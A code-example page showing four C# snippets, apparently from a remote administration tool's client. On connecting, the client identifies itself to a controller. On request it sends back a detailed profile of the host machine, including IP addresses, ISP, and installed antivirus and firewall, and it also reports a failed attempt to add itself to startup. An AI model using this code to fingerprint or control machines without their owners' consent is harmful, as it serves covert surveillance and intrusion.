示例#1
0
        private void OnClientState(Client client, bool connected)
        {
            _identified = false; // always reset identification

            if (connected)
            {
                // send client identification once connected

                var geoInfo     = GeoInformationFactory.GetGeoInformation();
                var userAccount = new UserAccount();

                client.Send(new ClientIdentification
                {
                    Version         = Settings.VERSION,
                    OperatingSystem = PlatformHelper.FullName,
                    AccountType     = nameof(userAccount.Type),
                    Country         = geoInfo.Country,
                    CountryCode     = geoInfo.CountryCode,
                    ImageIndex      = geoInfo.ImageIndex,
                    Id            = HardwareDevices.HardwareId,
                    Username      = userAccount.UserName,
                    PcName        = SystemHelper.GetPcName(),
                    Tag           = Settings.TAG,
                    EncryptionKey = Settings.ENCRYPTIONKEY,
                    Signature     = Convert.FromBase64String(Settings.SERVERSIGNATURE)
                });
            }
        }
示例#2
0
        private void Execute(ISender client, GetSystemInfo message)
        {
            try
            {
                IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties();

                var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-";
                var hostName   = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-";

                var geoInfo     = GeoInformationFactory.GetGeoInformation();
                var userAccount = new UserAccount();

                List <Tuple <string, string> > lstInfos = new List <Tuple <string, string> >
                {
                    new Tuple <string, string>("Processor (CPU)", HardwareDevices.CpuName),
                    new Tuple <string, string>("Memory (RAM)", $"{HardwareDevices.TotalPhysicalMemory} MB"),
                    new Tuple <string, string>("Video Card (GPU)", HardwareDevices.GpuName),
                    new Tuple <string, string>("Username", userAccount.UserName),
                    new Tuple <string, string>("PC Name", SystemHelper.GetPcName()),
                    new Tuple <string, string>("Domain Name", domainName),
                    new Tuple <string, string>("Host Name", hostName),
                    new Tuple <string, string>("System Drive", Path.GetPathRoot(Environment.SystemDirectory)),
                    new Tuple <string, string>("System Directory", Environment.SystemDirectory),
                    new Tuple <string, string>("Uptime", SystemHelper.GetUptime()),
                    new Tuple <string, string>("MAC Address", HardwareDevices.MacAddress),
                    new Tuple <string, string>("LAN IP Address", HardwareDevices.LanIpAddress),
                    new Tuple <string, string>("WAN IPv4 Address", geoInfo.IPv4Address),
                    new Tuple <string, string>("WAN IPv6 Address", geoInfo.IPv6Address),
                    new Tuple <string, string>("ASN", geoInfo.Asn),
                    new Tuple <string, string>("ISP", geoInfo.Isp),
                    new Tuple <string, string>("Antivirus", SystemHelper.GetAntivirus()),
                    new Tuple <string, string>("Firewall", SystemHelper.GetFirewall()),
                    new Tuple <string, string>("Time Zone", geoInfo.Timezone),
                    new Tuple <string, string>("Country", geoInfo.Country)
                };

                client.Send(new GetSystemInfoResponse {
                    SystemInfos = lstInfos
                });
            }
            catch (Exception)
            {
                //cant get
            }
        }
示例#3
0
        public static void HandleGetSystemInfo(GetSystemInfo command, Networking.Client client)
        {
            try
            {
                IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties();

                var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-";
                var hostName   = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-";

                var geoInfo = GeoInformationFactory.GetGeoInformation();

                List <Tuple <string, string> > lstInfos = new List <Tuple <string, string> >
                {
                    new Tuple <string, string>("Processor (CPU)", DevicesHelper.GetCpuName()),
                    new Tuple <string, string>("Memory (RAM)", $"{DevicesHelper.GetTotalRamAmount()} MB"),
                    new Tuple <string, string>("Video Card (GPU)", DevicesHelper.GetGpuName()),
                    new Tuple <string, string>("Username", WindowsAccountHelper.GetName()),
                    new Tuple <string, string>("PC Name", SystemHelper.GetPcName()),
                    new Tuple <string, string>("Domain Name", domainName),
                    new Tuple <string, string>("Host Name", hostName),
                    new Tuple <string, string>("System Drive", Path.GetPathRoot(Environment.SystemDirectory)),
                    new Tuple <string, string>("System Directory", Environment.SystemDirectory),
                    new Tuple <string, string>("Uptime", SystemHelper.GetUptime()),
                    new Tuple <string, string>("MAC Address", DevicesHelper.GetMacAddress()),
                    new Tuple <string, string>("LAN IP Address", DevicesHelper.GetLanIp()),
                    new Tuple <string, string>("WAN IP Address", geoInfo.IpAddress),
                    new Tuple <string, string>("ASN", geoInfo.Asn),
                    new Tuple <string, string>("ISP", geoInfo.Isp),
                    new Tuple <string, string>("Antivirus", SystemHelper.GetAntivirus()),
                    new Tuple <string, string>("Firewall", SystemHelper.GetFirewall()),
                    new Tuple <string, string>("Time Zone", geoInfo.Timezone),
                    new Tuple <string, string>("Country", geoInfo.Country)
                };

                client.Send(new GetSystemInfoResponse {
                    SystemInfos = lstInfos
                });
            }
            catch
            {
            }
        }
示例#4
0
        private void OnClientState(Client client, bool connected)
        {
            Identified = false; // always reset identification

            if (connected)
            {
                // send client identification once connected

                var geoInfo = GeoInformationFactory.GetGeoInformation();

                client.Send(new ClientIdentification
                {
                    Version         = Settings.VERSION,
                    OperatingSystem = PlatformHelper.FullName,
                    AccountType     = WindowsAccountHelper.GetAccountType(),
                    Country         = geoInfo.Country,
                    CountryCode     = geoInfo.CountryCode,
                    ImageIndex      = geoInfo.ImageIndex,
                    Id            = DevicesHelper.HardwareId,
                    Username      = WindowsAccountHelper.GetName(),
                    PcName        = SystemHelper.GetPcName(),
                    Tag           = Settings.TAG,
                    EncryptionKey = Settings.ENCRYPTIONKEY,
                    Signature     = Convert.FromBase64String(Settings.SERVERSIGNATURE)
                });

                if (ClientData.AddToStartupFailed)
                {
                    Thread.Sleep(2000);
                    client.Send(new SetStatus
                    {
                        Message = "Adding to startup failed."
                    });
                }
            }


            if (!connected && !Exiting)
            {
                LostConnection();
            }
        }